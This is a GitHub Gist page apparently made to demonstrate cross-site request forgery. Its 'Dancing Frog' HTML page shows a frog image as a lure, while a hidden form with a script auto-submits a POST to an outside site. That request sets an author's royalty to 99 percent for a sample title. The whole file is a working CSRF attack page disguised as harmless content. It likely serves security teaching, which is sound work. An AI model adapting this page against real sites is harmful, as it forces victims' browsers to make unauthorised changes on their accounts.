Created
August 8, 2012 14:28
-
-
Save jkuemerle/3295462 to your computer and use it in GitHub Desktop.
Dancing Frog Attack (exploits CSRF vulnerability)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <head> | |
| <title>Dancing Frog!!!</title> | |
| </head> | |
| <body> | |
| <form name="evilform" method="post" action="http://elcheapo.com/Royalty/Edit"> | |
| <input type="hidden" id="RoyaltyPercent" name="RoyaltyPercent" type="text" value="99" /> | |
| <input id="AuthorID" name="AuthorID" type="hidden" value="213-46-8915" /> | |
| <input id="TitleID" name="TitleID" type="hidden" value="BU1032" /> | |
| </form> | |
| <script type="text/javascript"> | |
| document.evilform.submit(); | |
| </script> | |
| <h1>Check out this awesome dancing frog!!!</h1> | |
| <img src="dancing-frog.gif"> | |
| </body> | |
| </html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment